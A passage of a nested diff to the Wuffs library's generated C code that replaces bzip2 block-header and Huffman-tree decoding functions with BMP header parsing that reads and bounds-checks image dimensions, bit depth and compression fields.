>> 31u); +- self->private_impl.f_bits <<= 1u; +- self->private_impl.f_n_bits -= 1u; +- v_i += 1u; +- } +- if ((self->private_data.f_scratch < 2u) || (6u < self->private_data.f_scratch)) { +- status = wuffs_base__make_status(wuffs_bzip2__error__bad_block_header); +- goto exit; +- } +- self->private_impl.f_num_huffman_codes = self->private_data.f_scratch; +- self->private_data.f_scratch = 0u; +- v_i = 0u; +- while (v_i < 15u) { +- if (self->private_impl.f_n_bits <= 0u) { +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(7); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(12); ++ uint32_t t_5; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { ++ t_5 = ((uint32_t)(wuffs_base__peek_u16le__no_bounds_check(iop_a_src))); ++ iop_a_src += 2; ++ } else { ++ self->private_data.s_do_decode_image_config.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(13); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_do_decode_image_config.scratch; ++ uint32_t num_bits_5 = ((uint32_t)(*scratch >> 56)); ++ *scratch <<= 8; ++ *scratch >>= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_5; ++ if (num_bits_5 == 8) { ++ t_5 = ((uint32_t)(*scratch)); ++ break; ++ } ++ num_bits_5 += 8u; ++ *scratch |= ((uint64_t)(num_bits_5)) << 56; + } +- uint8_t t_6 = *iop_a_src++; +- v_c = t_6; + } +- self->private_impl.f_bits = (((uint32_t)(v_c)) << 24u); +- self->private_impl.f_n_bits = 8u; ++ v_planes = t_5; + } +- self->private_data.f_scratch <<= 1u; +- self->private_data.f_scratch |= (self->private_impl.f_bits >> 31u); +- self->private_impl.f_bits <<= 1u; +- self->private_impl.f_n_bits -= 1u; +- v_i += 1u; +- } +- if ((self->private_data.f_scratch < 1u) || (18001u < self->private_data.f_scratch)) { +- status = wuffs_base__make_status(wuffs_bzip2__error__bad_block_header); +- goto exit; +- } +- self->private_impl.f_num_sections = self->private_data.f_scratch; +- v_i = 0u; +- while (v_i < self->private_impl.f_num_huffman_codes) { +- self->private_data.f_mtft[v_i] = ((uint8_t)(v_i)); +- v_i += 1u; +- } +- v_i = 0u; +- while (v_i < self->private_impl.f_num_sections) { +- v_selector = 0u; +- while (true) { +- if (self->private_impl.f_n_bits <= 0u) { +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(8); ++ if (v_planes != 1u) { ++ status = wuffs_base__make_status(wuffs_bmp__error__unsupported_bmp_file); ++ goto exit; ++ } ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(14); ++ uint32_t t_6; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { ++ t_6 = ((uint32_t)(wuffs_base__peek_u16le__no_bounds_check(iop_a_src))); ++ iop_a_src += 2; ++ } else { ++ self->private_data.s_do_decode_image_config.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(15); ++ while (true) { + if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { + status = wuffs_base__make_status(wuffs_base__suspension__short_read); + goto suspend; + } +- uint8_t t_7 = *iop_a_src++; +- v_c = t_7; ++ uint64_t* scratch = &self->private_data.s_do_decode_image_config.scratch; ++ uint32_t num_bits_6 = ((uint32_t)(*scratch >> 56)); ++ *scratch <<= 8; ++ *scratch >>= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_6; ++ if (num_bits_6 == 8) { ++ t_6 = ((uint32_t)(*scratch)); ++ break; ++ } ++ num_bits_6 += 8u; ++ *scratch |= ((uint64_t)(num_bits_6)) << 56; + } +- self->private_impl.f_bits = (((uint32_t)(v_c)) << 24u); +- self->private_impl.f_n_bits = 8u; +- } +- if ((self->private_impl.f_bits >> 31u) == 0u) { +- self->private_impl.f_bits <<= 1u; +- self->private_impl.f_n_bits -= 1u; +- break; + } +- self->private_impl.f_bits <<= 1u; +- self->private_impl.f_n_bits -= 1u; +- v_selector += 1u; +- if (v_selector >= self->private_impl.f_num_huffman_codes) { +- status = wuffs_base__make_status(wuffs_bzip2__error__bad_block_header); +- goto exit; ++ self->private_impl.f_bits_per_pixel = t_6; ++ } ++ } else if (self->private_impl.f_bitmap_info_len == 16u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(16); ++ uint32_t t_7; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { ++ t_7 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); ++ iop_a_src += 4; ++ } else { ++ self->private_data.s_do_decode_image_config.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(17); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_do_decode_image_config.scratch; ++ uint32_t num_bits_7 = ((uint32_t)(*scratch >> 56)); ++ *scratch <<= 8; ++ *scratch >>= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_7; ++ if (num_bits_7 == 24) { ++ t_7 = ((uint32_t)(*scratch)); ++ break; ++ } ++ num_bits_7 += 8u; ++ *scratch |= ((uint64_t)(num_bits_7)) << 56; ++ } + } ++ v_width = t_7; + } +- if (v_selector == 0u) { +- self->private_data.f_huffman_selectors[v_i] = self->private_data.f_mtft[0u]; +- } else { +- v_sel_ff = (v_selector & 255u); +- v_movee = self->private_data.f_mtft[v_sel_ff]; +- wuffs_base__slice_u8__copy_from_slice(wuffs_base__make_slice_u8_ij(self->private_data.f_mtft, 1, (1u + v_sel_ff)), wuffs_base__make_slice_u8(self->private_data.f_mtft, v_sel_ff)); +- self->private_data.f_mtft[0u] = v_movee; +- self->private_data.f_huffman_selectors[v_i] = v_movee; ++ if (v_width > 2147483647u) { ++ status = wuffs_base__make_status(wuffs_bmp__error__bad_header); ++ goto exit; ++ } else if (v_width > 16777215u) { ++ status = wuffs_base__make_status(wuffs_base__error__unsupported_image_dimension); ++ goto exit; + } +- v_i += 1u; +- } +- v_i = 0u; +- while (v_i < self->private_impl.f_num_huffman_codes) { +- if (a_src) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ self->private_impl.f_width = v_width; ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(18); ++ uint32_t t_8; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { ++ t_8 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); ++ iop_a_src += 4; ++ } else { ++ self->private_data.s_do_decode_image_config.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(19); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_do_decode_image_config.scratch; ++ uint32_t num_bits_8 = ((uint32_t)(*scratch >> 56)); ++ *scratch <<= 8; ++ *scratch >>= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_8; ++ if (num_bits_8 == 24) { ++ t_8 = ((uint32_t)(*scratch)); ++ break; ++ } ++ num_bits_8 += 8u; ++ *scratch |= ((uint64_t)(num_bits_8)) << 56; ++ } ++ } ++ v_height = t_8; + } +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(9); +- status = wuffs_bzip2__decoder__read_code_lengths(self, a_src); +- if (a_src) { +- iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ if (v_height > 2147483647u) { ++ status = wuffs_base__make_status(wuffs_bmp__error__bad_header); ++ goto exit; ++ } else if (v_height > 16777215u) { ++ status = wuffs_base__make_status(wuffs_base__error__unsupported_image_dimension); ++ goto exit; + } +- if (status.repr) { +- goto suspend; ++ self->private_impl.f_height = v_height; ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(20); ++ uint32_t t_9; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { ++ t_9 = ((uint32_t)(wuffs_base__peek_u16le__no_bounds_check(iop_a_src))); ++ iop_a_src += 2; ++ } else { ++ self->private_data.s_do_decode_image_config.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(21); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_do_decode_image_config.scratch; ++ uint32_t num_bits_9 = ((uint32_t)(*scratch >> 56)); ++ *scratch <<= 8; ++ *scratch >>= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_9; ++ if (num_bits_9 == 8) { ++ t_9 = ((uint32_t)(*scratch)); ++ break; ++ } ++ num_bits_9 += 8u; ++ *scratch |= ((uint64_t)(num_bits_9)) << 56; ++ } ++ } ++ v_planes = t_9; + } +- v_status = wuffs_bzip2__decoder__build_huffman_tree(self, v_i); +- if (wuffs_base__status__is_error(&v_status)) { +- status = v_status; ++ if (v_planes != 1u) { ++ status = wuffs_base__make_status(wuffs_bmp__error__unsupported_bmp_file); + goto exit; + } +- wuffs_bzip2__decoder__build_huffman_table(self, v_i); +- v_i += 1u; +- } +- v_i = 0u; +- v_j = 0u; +- while (v_i < 256u) { +- if (self->private_data.f_presence[v_i] != 0u) { +- self->private_data.f_mtft[(v_j & 255u)] = ((uint8_t)(v_i)); +- v_j += 1u; +- } +- v_i += 1u; +- } +- v_i = 0u; +- while (v_i < 256u) { +- self->private_data.f_letter_counts[v_i] = 0u; +- v_i += 1u; +- } +- +- goto ok; +- ok: +- self->private_impl.p_prepare_block[0] = 0; +- goto exit; +- } +- +- goto suspend; +- suspend: +- self->private_impl.p_prepare_block[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; +- self->private_data.s_prepare_block[0].v_i = v_i; +- self->private_data.s_prepare_block[0].v_selector = v_selector; +- +- goto exit; +- exit: +- if (a_src && a_src->data.ptr) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } +- +- return status; +-} +- +-// -------- func bzip2.decoder.read_code_lengths +- +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_bzip2__decoder__read_code_lengths( +- wuffs_bzip2__decoder* self, +- wuffs_base__io_buffer* a_src) { +- wuffs_base__status status = wuffs_base__make_status(NULL); +- +- uint8_t v_c = 0; +- uint32_t v_i = 0; +- uint32_t v_code_length = 0; +- +- const uint8_t* iop_a_src = NULL; +- const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- if (a_src && a_src->data.ptr) { +- io0_a_src = a_src->data.ptr; +- io1_a_src = io0_a_src + a_src->meta.ri; +- iop_a_src = io1_a_src; +- io2_a_src = io0_a_src + a_src->meta.wi; +- } +- +- uint32_t coro_susp_point = self->private_impl.p_read_code_lengths[0]; +- if (coro_susp_point) { +- v_i = self->private_data.s_read_code_lengths[0].v_i; +- v_code_length = self->private_data.s_read_code_lengths[0].v_code_length; +- } +- switch (coro_susp_point) { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; +- +- self->private_impl.f_code_lengths_bitmask = 0u; +- v_i = 0u; +- while (v_i < 5u) { +- if (self->private_impl.f_n_bits <= 0u) { +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(22); ++ uint32_t t_10; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { ++ t_10 = ((uint32_t)(wuffs_base__peek_u16le__no_bounds_check(iop_a_src))); ++ iop_a_src += 2; ++ } else { ++ self->private_data.s_do_decode_image_config.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(23); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_do_decode_image_config.scratch; ++ uint32_t num_bits_10 = ((uint32_t)(*scratch >> 56)); ++ *scratch <<= 8; ++ *scratch >>= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_10; ++ if (num_bits_10 == 8) { ++ t_10 = ((uint32_t)(*scratch)); ++ break; ++ } ++ num_bits_10 += 8u; ++ *scratch |= ((uint64_t)(num_bits_10)) << 56; + } +- uint8_t t_0 = *iop_a_src++; +- v_c = t_0; + } +- self->private_impl.f_bits = (((uint32_t)(v_c)) << 24u); +- self->private_impl.f_n_bits = 8u; ++ self->private_impl.f_bits_per_pixel = t_10; + } +- v_code_length <<= 1u; +- v_code_length |= (self->private_impl.f_bits >> 31u); +- self->private_impl.f_bits <<= 1u; +- self->private_impl.f_n_bits -= 1u; +- v_i += 1u; +- } +- v_i = 0u; +- while (v_i < self->private_impl.f_num_symbols) { +- while (true) { +- if ((v_code_length < 1u) || (20u < v_code_length)) { +- status = wuffs_base__make_status(wuffs_bzip2__error__bad_block_header); +- goto exit; +- } +- if (self->private_impl.f_n_bits <= 0u) { +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); ++ } else { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(24); ++ uint32_t t_11; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { ++ t_11 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); ++ iop_a_src += 4; ++ } else { ++ self->private_data.s_do_decode_image_config.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(25); ++ while (true) { + if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { + status = wuffs_base__make_status(wuffs_base__suspension__short_read); + goto suspend; + } +- uint8_t t_1 = *iop_a_src++; +- v_c = t_1; ++ uint64_t* scratch = &self->private_data.s_do_decode_image_config.scratch; ++ uint32_t num_bits_11 = ((uint32_t)(*scratch >> 56)); ++ *scratch <<= 8; ++ *scratch >>= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_11; ++ if (num_bits_11 == 24) { ++ t_11 = ((uint32_t)(*scratch)); ++ break; ++ } ++ num_bits_11 += 8u; ++ *scratch |= ((uint64_t)(num_bits_11)) << 56; + } +- self->private_impl.f_bits = (((uint32_t)(v_c)) << 24u); +- self->private_impl.f_n_bits = 8u; + } +- if ((self->private_impl.f_bits >> 31u) == 0u) { +- self->private_impl.f_bits <<= 1u; +- self->private_impl.f_n_bits -= 1u; +- break; +- } +- self->private_impl.f_bits <<= 1u; +- self->private_impl.f_n_bits -= 1u; +- if (self->private_impl.f_n_bits <= 0u) { +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); ++ v_width = t_11; ++ } ++ if (v_width > 2147483647u) { ++ status = wuffs_base__make_status(wuffs_bmp__error__bad_header); ++ goto exit; ++ } else if (v_width > 16777215u) { ++ status = wuffs_base__make_status(wuffs_base__error__unsupported_image_dimension); ++ goto exit; ++ } ++ self->private_impl.f_width = v_width; ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(26); ++ uint32_t t_12; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { ++ t_12 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); ++ iop_a_src += 4; ++ } else { ++ self->private_data.s_do_decode_image_config.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(27); ++ while (true) { + if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { + status = wuffs_base__make_status(wuffs_base__suspension__short_read); + goto suspend; + } +- uint8_t t_2 = *iop_a_src++; +- v_c = t_2; ++ uint64_t* scratch = &self->private_data.s_do_decode_image_config.scratch; ++ uint32_t num_bits_12 = ((uint32_t)(*scratch >> 56)); ++ *scratch <<= 8; ++ *scratch >>= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_12; ++ if (num_bits_12 == 24) { ++ t_12 = ((uint32_t)(*scratch)); ++ break; ++ } ++ num_bits_12 += 8u; ++ *scratch |= ((uint64_t)(num_bits_12)) << 56; + } +- self->private_impl.f_bits = (((uint32_t)(v_c)) << 24u); +- self->private_impl.f_n_bits = 8u; + } +- if ((self->private_impl.f_bits >> 31u) == 0u) { +- v_code_length += 1u; ++ v_height = t_12; ++ } ++ if (v_height == 2147483648u) { ++ status = wuffs_base__make_status(wuffs_bmp__error__bad_header); ++ goto exit; ++ } else if (v_height > 2147483648u) { ++ v_height = ((uint32_t)(0u - v_height)); ++ if (v_height > 16777215u) { ++ status = wuffs_base__make_status(wuffs_base__error__unsupported_image_dimension); ++ goto exit; ++ } ++ self->private_impl.f_height = v_height; ++ self->private_impl.f_top_down = true; ++ } else if (v_height > 16777215u) { ++ status = wuffs_base__make_status(wuffs_base__error__unsupported_image_dimension); ++ goto exit; ++ } else { ++ self->private_impl.f_height = v_height; ++ } ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(28); ++ uint32_t t_13; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { ++ t_13 = ((uint32_t)(wuffs_base__peek_u16le__no_bounds_check(iop_a_src))); ++ iop_a_src += 2; + } else { +- v_code_length -= 1u; ++ self->private_data.s_do_decode_image_config.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(29); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_do_decode_image_config.scratch; ++ uint32_t num_bits_13 = ((uint32_t)(*scratch >> 56)); ++ *scratch <<= 8; ++ *scratch >>= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_13; ++ if (num_bits_13 == 8) { ++ t_13 = ((uint32_t)(*scratch)); ++ break; ++ } ++ num_bits_13 += 8u; ++ *scratch |= ((uint64_t)(num_bits_13)) << 56; ++ } + } +- self->private_impl.f_bits <<= 1u; +- self->private_impl.f_n_bits -= 1u; ++ v_planes = t_13; + } +- self->private_impl.f_code_lengths_bitmask |= (((uint32_t)(1u)) << (v_code_length & 31u)); +- self->private_data.f_bwt[v_i] = v_code_length; +- v_i += 1u; +- } +- +- goto ok; +- ok: +- self->private_impl.p_read_code_lengths[0] = 0; +- goto exit; +- } +- +- goto suspend; +- suspend: +- self->private_impl.p_read_code_lengths[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; +- self->private_data.s_read_code_lengths[0].v_i = v_i; +- self->private_data.s_read_code_lengths[0].v_code_length = v_code_length; +- +- goto exit; +- exit: +- if (a_src && a_src->data.ptr) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } +- +- return status; +-} +- +-// -------- func bzip2.decoder.build_huffman_tree +- +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_bzip2__decoder__build_huffman_tree( +- wuffs_bzip2__decoder* self, +- uint32_t a_which) { +- uint32_t v_code_length = 0; +- uint32_t v_symbol_index = 0; +- uint32_t v_num_branch_nodes = 0; +- uint32_t v_stack_height = 0; +- uint32_t v_stack_values[21] = {0}; +- uint32_t v_node_index = 0; +- uint16_t v_leaf_value = 0; +- +- self->private_data.f_huffman_trees[a_which][0u][0u] = 0u; +- self->private_data.f_huffman_trees[a_which][0u][1u] = 0u; +- v_num_branch_nodes = 1u; +- v_stack_height = 1u; +- v_stack_values[0u] = 0u; +- v_code_length = 1u; +- while (v_code_length <= 20u) { +- if ((self->private_impl.f_code_lengths_bitmask & (((uint32_t)(1u)) << v_code_length)) == 0u) { +- v_code_length += 1u; +- continue; +- } +- v_symbol_index = 0u; +- while (v_symbol_index < self->private_impl.f_num_symbols) { +- if (self->private_data.f_bwt[v_symbol_index] != v_code_length) { +- v_symbol_index += 1u; +- continue; ++ if (v_planes != 1u) { ++ status = wuffs_base__make_status(wuffs_bmp__error__unsupported_bmp_file); ++ goto exit; + } +- while (true) { +- if (v_stack_height <= 0u) { +- return wuffs_base__make_status(wuffs_bzip2__error__bad_huffman_code_over_subscribed); +- } else if (v_stack_height >= v_code_length) { +- break; ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(30); ++ uint32_t t_14; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { ++ t_14 = ((uint32_t)(wuffs_base__peek_u16le__no_bounds_check(iop_a_src))); ++ iop_a_src += 2; ++ } else { ++ self->private_data.s_do_decode_image_config.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(31); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_do_decode_image_config.scratch; ++ uint32_t num_bits_14 = ((uint32_t)(*scratch >> 56)); ++ *scratch <<= 8; ++ *scratch >>= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_14; ++ if (num_bits_14 == 8) { ++ t_14 = ((uint32_t)(*scratch)); ++ break; ++ } ++ num_bits_14 += 8u; ++ *scratch |= ((uint64_t)(num_bits_14)) << 56; ++ } + } +- v_node_index = v_stack_values[(v_stack_height - 1u)]; +- if (self->private_data.f_huffman_trees[a_which][v_node_index][0u] == 0u) { +- self->private_data.f_huffman_trees[a_which][v_node_index][0u] = ((uint16_t)(v_num_branch_nodes)); ++ self->private_impl.f_bits_per_pixel = t_14; ++ } ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(32); ++ uint32_t t_15; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { ++ t_15 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); ++ iop_a_src += 4; + } else { +- self->private_data.f_huffman_trees[a_which][v_node_index][1u] = ((uint16_t)(v_num_branch_nodes)); ++ self->private_data.s_do_decode_image_config.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(33); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_do_decode_image_config.scratch; ++ uint32_t num_bits_15 = ((uint32_t)(*scratch >> 56)); ++ *scratch <<= 8; ++ *scratch >>= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_15; ++ if (num_bits_15 == 24) { ++ t_15 = ((uint32_t)(*scratch)); ++ break; ++ } ++ num_bits_15 += 8u; ++ *scratch |= ((uint64_t)(num_bits_15)) << 56; ++ } + } +- if (v_num_branch_nodes >= 257u) { +- return wuffs_base__make_status(wuffs_bzip2__error__bad_huffman_code_under_subscribed); ++ self->private_impl.f_compression = t_15; ++ } ++ if (self->private_impl.f_bits_per_pixel == 0u) { ++ if (self->private_impl.f_compression == 4u) { ++ self->private_impl.f_io_redirect_fourcc = 1246774599u; ++ status = wuffs_base__make_status(wuffs_base__note__i_o_redirect); ++ goto ok; ++ } else if (self->private_impl.f_compression == 5u) { ++ self->private_impl.f_io_redirect_fourcc = 1347307296u; ++ status = wuffs_base__make_status(wuffs_base__note__i_o_redirect); ++ goto ok; + } +- v_stack_values[v_stack_height] = v_num_branch_nodes; +- self->private_data.f_huffman_trees[a_which][v_num_branch_nodes][0u] = 0u; +- self->private_data.f_huffman_trees[a_which][v_num_branch_nodes][1u] = 0u; +- v_num_branch_nodes += 1u; +- v_stack_height += 1u; ++ status = wuffs_base__make_status(wuffs_bmp__error__unsupported_bmp_file); ++ goto exit; + } +- v_node_index = v_stack_values[(v_stack_height - 1u)]; +- if (v_symbol_index < 2u) { +- v_leaf_value = ((uint16_t)((769u + v_symbol_index))); +- } else if ((v_symbol_index + 1u) < self->private_impl.f_num_symbols) { +- v_leaf_value = ((uint16_t)((511u + v_symbol_index))); +- } else { +- v_leaf_value = 768u; ++ self->private_data.s_do_decode_image_config.scratch = 20u; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(34); ++ if (self->private_data.s_do_decode_image_config.scratch > ((uint64_t)(io2_a_src - iop_a_src))) { ++ self->private_data.s_do_decode_image_config.scratch -= ((uint64_t)(io2_a_src - iop_a_src)); ++ iop_a_src = io2_a_src; ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; + } +- if (self->private_data.f_huffman_trees[a_which][v_node_index][0u] == 0u) { +- self->private_data.f_huffman_trees[a_which][v_node_index][0u] = v_leaf_value; +- } else { +- self->private_data.f_huffman_trees[a_which][v_node_index][1u] = v_leaf_value; +- v_stack_height -= 1u; +- while (v_stack_height > 0u) { +- v_node_index = v_stack_values[(v_stack_height - 1u)]; +- if (self->private_data.f_huffman_trees[a_which][v_node_index][1u] == 0u) { +- break; ++ iop_a_src += self->private_data.s_do_decode_image_config.scratch; ++ if (self->private_impl.f_bitmap_info_len == 40u) { ++ if (self->private_impl.f_bits_per_pixel >= 16u) { ++ if (self->private_impl.f_padding >= 16u) { ++ self->private_impl.f_bitmap_info_len = 56u; ++ self->private_impl.f_padding -= 16u; ++ } else if (self->private_impl.f_padding >= 12u) { ++ self->private_impl.f_bitmap_info_len = 52u; ++ self->private_impl.f_padding -= 12u; + } +- v_stack_height -= 1u; + } ++ } else if ((self->private_impl.f_bitmap_info_len != 52u) && ++ (self->private_impl.f_bitmap_info_len != 56u) && ++ (self->private_impl.f_bitmap_info_len != 64u) && ++ (self->private_impl.f_bitmap_info_len != 108u) && ++ (self->private_impl.f_bitmap_info_len != 124u)) { ++ status = wuffs_base__make_status(wuffs_bmp__error__unsupported_bmp_file); ++ goto exit; ++ } ++ if (self->private_impl.f_compression == 6u) { ++ self->private_impl.f_compression = 3u; ++ } ++ if (self->private_impl.f_compression == 3u) { ++ if (self->private_impl.f_bitmap_info_len >= 52u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(35); ++ uint32_t t_16; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { ++ t_16 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); ++ iop_a_src += 4; ++ } else { ++ self->private_data.s_do_decode_image_config.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(36); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_do_decode_image_config.scratch; ++ uint32_t num_bits_16 = ((uint32_t)(*scratch >> 56)); ++ *scratch <<= 8; ++ *scratch >>= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_16; ++ if (num_bits_16 == 24) { ++ t_16 = ((uint32_t)(*scratch)); ++ break; ++ } ++ num_bits_16 += 8u; ++ *scratch |= ((uint64_t)(num_bits_16)) << 56; ++ } ++ } ++ self->private_impl.f_channel_masks[2u] = t_16; ++ } ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(37); ++ uint32_t t_17; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { ++ t_17 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); ++ iop_a_src += 4; ++ } else { ++ self->private_data.s_do_decode_image_config.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(38); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_do_decode_image_config.scratch; ++ uint32_t num_bits_17 = ((uint32_t)(*scratch >> 56)); ++ *scratch <<= 8; ++ *scratch >>= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_17; ++ if (num_bits_17 == 24) { ++ t_17 = ((uint32_t)(*scratch)); ++ break; ++ } ++ num_bits_17 += 8u; ++ *scratch |= ((uint64_t)(num_bits_17)) << 56; ++ } ++ } ++ self->private_impl.f_channel_masks[1u] = t_17; ++ } ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(39); ++ uint32_t t_18; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { ++ t_18 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); ++ iop_a_src += 4; ++ } else { ++ self->private_data.s_do_decode_image_config.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(40); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_do_decode_image_config.scratch; ++ uint32_t num_bits_18 